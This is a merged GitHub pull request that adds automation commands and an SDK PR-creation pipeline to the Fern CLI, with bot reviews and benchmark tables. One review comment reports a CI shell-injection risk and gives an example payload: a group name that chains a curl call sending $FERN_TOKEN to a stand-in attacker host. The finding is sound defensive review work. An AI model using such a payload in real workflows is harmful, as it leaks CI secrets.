Skip to content

feat(cli): add automation commands and SDK PR creation pipeline#14855

Merged
fern-support merged 5 commits intomainfrom
niels/cli/automation-generators-yml
Apr 10, 2026
Merged

feat(cli): add automation commands and SDK PR creation pipeline#14855
fern-support merged 5 commits intomainfrom
niels/cli/automation-generators-yml

Conversation

@Swimburger
Copy link
Copy Markdown
Member

@Swimburger Swimburger commented Apr 9, 2026

Summary

Refs FER-9671

Implements the CLI side of the Fern Automations SDK generation pipeline. This PR adds hidden fern automations commands for GitHub Actions integration, automation behaviors in the post-generation pipeline (GithubStep), and foundational schema work for the automation: block in generators.yml.

New CLI commands (hidden, for GitHub Actions)

fern automations list generate — Discovers generators and outputs a JSON array of fern automations generate commands for GitHub Actions matrix fan-out:

fern automations list generate --group sdk --version AUTO --auto-merge
# Output: ["fern automations generate --api foo --group sdk --generator 0 --version AUTO --auto-merge", ...]

fern automations generate — Runs generation for a single generator in automation mode:

fern automations generate --api foo --group sdk --generator 0 --version AUTO --auto-merge

Automation behaviors (GithubStep)

When automationMode: true (implicit in the automations command):

  • Separate PRs: Each run creates its own PR — no reuse of existing fern-bot PRs (1:1 spec commit → SDK release)
  • No-diff detection: Tree hash comparison skips PR/push when output is identical to the SDK repo's default branch
  • Breaking changes in PR body: When --version AUTO determines a MAJOR bump, PR body includes a breaking changes section
  • Automerge: Enables GitHub automerge via GraphQL mutation on non-breaking PRs (skipped on MAJOR bumps)
  • Run ID correlation: FERN_RUN_ID env var is included in PR body for cross-repo tracing

Index-based generator targeting

Both fern generate and fern automations generate now support --generator 0 (0-based index) in addition to --generator <name>. This handles the case where a group has multiple generators with the same name (e.g., two TypeScript SDK entries publishing to different repos).

Remote generation plumbing

automationMode, autoMerge, and runId are threaded through the full remote generation call chain to createAndStartJob. The Fiddle API fields are commented out pending FER-9726 (schema update).

generators.yml automation: block (from first commit)

Adds automation: field at root, group, and generator levels with cascading resolution (generator → group → root → default true). Supports generate, upgrade, preview, and verify feature flags. The list generate command respects automation.generate: false to exclude disabled generators.

GitHub Actions integration

The fern-api/fern-generate action (FER-9728) will use a two-job pattern:

jobs:
  discover:
    steps:
      - run: echo "commands=$(fern automations list generate --group sdk --version AUTO --auto-merge)" >> $GITHUB_OUTPUT
  generate:
    strategy:
      matrix:
        command: ${{ fromJson(needs.discover.outputs.commands) }}
    steps:
      - run: ${{ matrix.command }}
        env:
          FERN_RUN_ID: ${{ github.run_id }}-${{ strategy.job-index }}

Follow-up tickets

  • FER-9726 — Extend Fiddle createJobV3 API to accept automation flags
  • FER-9727 — Implement automation behaviors in Fiddle's generation pipeline
  • FER-9728 — Build fern-api/fern-generate GitHub Action

Test plan

  • 158/158 packages compile
  • filterGenerators tests (11 tests): index, name, duplicates, out of bounds, no filter
  • parseGeneratorArg tests (7 tests): index parsing, name passthrough, edge cases
  • enrichPrBodyForAutomation tests (8 tests): breaking changes, run_id, combinations
  • shouldEnableAutomerge tests (7 tests): all flag combinations
  • All existing tests pass (400 CLI, 160 generator-cli, 217 local-workspace-runner)
  • No breaking changes to existing fern generate command
  • Manual test with real SDK repo (deferred to Fiddle integration)

🤖 Generated with Claude Code

Add `automation` field at root, group, and generator levels with
cascading resolution (generator → group → root → default true).
Supports generate, upgrade, preview, and verify feature flags.
Copy link
Copy Markdown

@claude claude Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Code Review

This repository is configured for manual code reviews. Comment @claude review to trigger a review and subscribe this PR to future pushes, or @claude review once for a one-time review.

Tip: disable this comment in your organization's Code Review settings.

@github-actions
Copy link
Copy Markdown
Contributor

github-actions Bot commented Apr 9, 2026

🌱 Seed Test Selector

Select languages to run seed tests for:

  • Python
  • TypeScript
  • Java
  • Go
  • Ruby
  • C#
  • PHP
  • Swift
  • Rust
  • OpenAPI

How to use: Click the ⋯ menu above → "Edit" → check the boxes you want → click "Update comment". Tests will run automatically and snapshots will be committed to this PR.

Copy link
Copy Markdown
Contributor

@devin-ai-integration devin-ai-integration Bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

✅ Devin Review: No Issues Found

Devin Review analyzed this PR and found no potential bugs to report.

View in Devin Review to see 3 additional findings.

Open in Devin Review

Extract parseGeneratorArg into shared filterGenerators.ts so both
`fern generate --generator 0` and `fern automations generate --generator 0`
use the same code path. Index-based selection now works on the public
generate command too.

Extract enrichPrBodyForAutomation and shouldEnableAutomerge from
GithubStep into testable functions. Add tests for:
- parseGeneratorArg (7 tests): index, name, edge cases
- filterGenerators (11 tests): index, name, duplicates, bounds
- enrichPrBodyForAutomation (8 tests): breaking changes, run_id
- shouldEnableAutomerge (7 tests): all flag combinations

Rename `fern automations list-generate` → `fern automations list generate`
(nested subcommand). Fix multi-API --api inclusion to use workspaceName
presence instead of workspace count.
@fern-support fern-support changed the title feat(cli): add automation block parsing to generators.yml schema feat(cli): add automation commands and SDK PR creation pipeline Apr 10, 2026
* This preserves 1:1 mapping between spec commits and SDK releases.
* - **No-diff detection**: If generation produces output identical to the SDK repo's default
* branch, the PR/push is skipped entirely.
* - **Breaking change detection**: When `--version AUTO` determines a MAJOR bump, the PR body
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Unquoted shell command strings in fern automations list generate output enable CI injection

The addAutomationsListGenerateCommand handler builds shell command strings with parts.join(" "), embedding group.groupName (from generators.yml) and workspace.workspaceName without any shell quoting or escaping. These raw strings are emitted as a JSON array to stdout.

The inline documentation explicitly shows the intended consumption pattern as run: ${{ matrix.command }} in GitHub Actions — a known injection vector where expressions are expanded by the runner before the shell sees them. If a group name in generators.yml contains shell metacharacters (;, &&, |, $(...), backticks), a workflow that runs fern automations list generate against a PR-branch's generators.yml would produce command strings that execute attacker-injected commands in the CI runner, with full access to FERN_TOKEN, GITHUB_TOKEN, and other workflow secrets.

YAML map keys (group names) can legally contain semicolons, pipe characters, and dollar signs — only bare colons followed by a space are disallowed. A generator group named sdk; curl https://attacker.com/exfil?t=$FERN_TOKEN in a PR-modified generators.yml would produce an exploitable command string.

Prompt To Fix With AI
In `addAutomationsListGenerateCommand`, replace the `parts.join(" ")` approach with properly shell-quoted command strings. Each argument value that comes from external sources (group names, workspace names, version strings) must be quoted.

Option 1 — shell-quote each value before joining:
```typescript
import { quote } from "shell-quote"; // or use a custom quoting function

// Replace:
commands.push(parts.join(" "));

// With (quoting only the value tokens, not the flags):
const quotedParts: string[] = [];
for (let i = 0; i < parts.length; i++) {
    const part = parts[i]!;
    // Quote any part that is a value (follows a flag starting with --)
    const isFlag = part.startsWith("--") || ["fern", "automations", "generate"].includes(part);
    quotedParts.push(isFlag ? part : quote([part]));
}
commands.push(quotedParts.join(" "));
```

Option 2 (simpler and more robust) — emit structured JSON objects instead of flat command strings, and have the GitHub Actions workflow reconstruct the command safely:
```typescript
// Instead of emitting strings, emit structured objects:
commands.push({
    api: workspace.workspaceName,
    group: group.groupName,
    generator: String(i),
    version: argv.version,
    autoMerge: argv["auto-merge"]
});
```
Then in the GitHub Actions workflow use a script step that constructs the command from the structured object with proper quoting, rather than passing an opaque shell string through `${{ matrix.command }}`.

Also add validation/rejection of group names and workspace names that contain characters outside `[A-Za-z0-9_\-.]` to provide defense-in-depth.

Severity: medium | Confidence: 62%

devin-ai-integration[bot]

This comment was marked as resolved.

@github-actions
Copy link
Copy Markdown
Contributor

SDK Generation Benchmark Results

Comparing PR branch against latest nightly baseline on main (2026-04-09T04:46:50Z).

Full benchmark table (click to expand)
Generator Spec main (generator) main (E2E) PR (generator) Delta
csharp-sdk square 95s 138s 93s -2s (-2.1%)
go-sdk square 107s 134s 105s -2s (-1.9%)
java-sdk square 290s 346s 162s -128s (-44.1%)
php-sdk square 85s 119s 87s +2s (+2.4%)
python-sdk square 130s 166s 130s +0s (+0.0%)
ruby-sdk-v2 square 115s 153s 114s -1s (-0.9%)
rust-sdk square 93s 95s 91s -2s (-2.2%)
swift-sdk square 104s 448s 116s +12s (+11.5%)
ts-sdk square 98s 134s 103s +5s (+5.1%)

main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via fern generate). main (E2E): full customer-observable time including build/test scripts (nightly baseline, informational). Delta is computed against generator-only baseline.
⚠️ = generation exited with a non-zero exit code (timing may not reflect a successful run).
Baseline from nightly runs on main (latest: 2026-04-09T04:46:50Z). Trigger benchmark-baseline to refresh.

@github-actions
Copy link
Copy Markdown
Contributor

SDK Generation Benchmark Results

Comparing PR branch against latest nightly baseline on main (2026-04-10T04:56:48Z).

Full benchmark table (click to expand)
Generator Spec main (generator) main (E2E) PR (generator) Delta
csharp-sdk square 100s 135s 94s -6s (-6.0%)
go-sdk square 104s 137s 105s +1s (+1.0%)
java-sdk square 157s 191s 161s +4s (+2.5%)
php-sdk square 86s 122s 87s +1s (+1.2%)
python-sdk square 124s 167s 128s +4s (+3.2%)
ruby-sdk-v2 square 120s 152s 115s -5s (-4.2%)
rust-sdk square 92s 94s 93s +1s (+1.1%)
swift-sdk square 105s 476s 111s +6s (+5.7%)
ts-sdk square 102s 129s 101s -1s (-1.0%)

main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via fern generate). main (E2E): full customer-observable time including build/test scripts (nightly baseline, informational). Delta is computed against generator-only baseline.
⚠️ = generation exited with a non-zero exit code (timing may not reflect a successful run).
Baseline from nightly runs on main (latest: 2026-04-10T04:56:48Z). Trigger benchmark-baseline to refresh.

@github-actions
Copy link
Copy Markdown
Contributor

SDK Generation Benchmark Results

Comparing PR branch against latest nightly baseline on main (2026-04-10T04:56:48Z).

Full benchmark table (click to expand)
Generator Spec main (generator) main (E2E) PR (generator) Delta
csharp-sdk square 100s 135s 94s -6s (-6.0%)
go-sdk square 104s 137s 104s +0s (+0.0%)
java-sdk square 157s 191s 157s +0s (+0.0%)
php-sdk square 86s 122s 86s +0s (+0.0%)
python-sdk square 124s 167s 126s +2s (+1.6%)
ruby-sdk-v2 square 120s 152s 114s -6s (-5.0%)
rust-sdk square 92s 94s 94s +2s (+2.2%)
swift-sdk square 105s 476s 102s -3s (-2.9%)
ts-sdk square 102s 129s 106s +4s (+3.9%)

main (generator): generator-only time via --skip-scripts (includes Docker image build, container startup, IR parsing, and code generation — this is the same Docker-based flow customers use via fern generate). main (E2E): full customer-observable time including build/test scripts (nightly baseline, informational). Delta is computed against generator-only baseline.
⚠️ = generation exited with a non-zero exit code (timing may not reflect a successful run).
Baseline from nightly runs on main (latest: 2026-04-10T04:56:48Z). Trigger benchmark-baseline to refresh.

@fern-support fern-support merged commit 0e43092 into main Apr 10, 2026
266 of 267 checks passed
@fern-support fern-support deleted the niels/cli/automation-generators-yml branch April 10, 2026 16:10
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

3 participants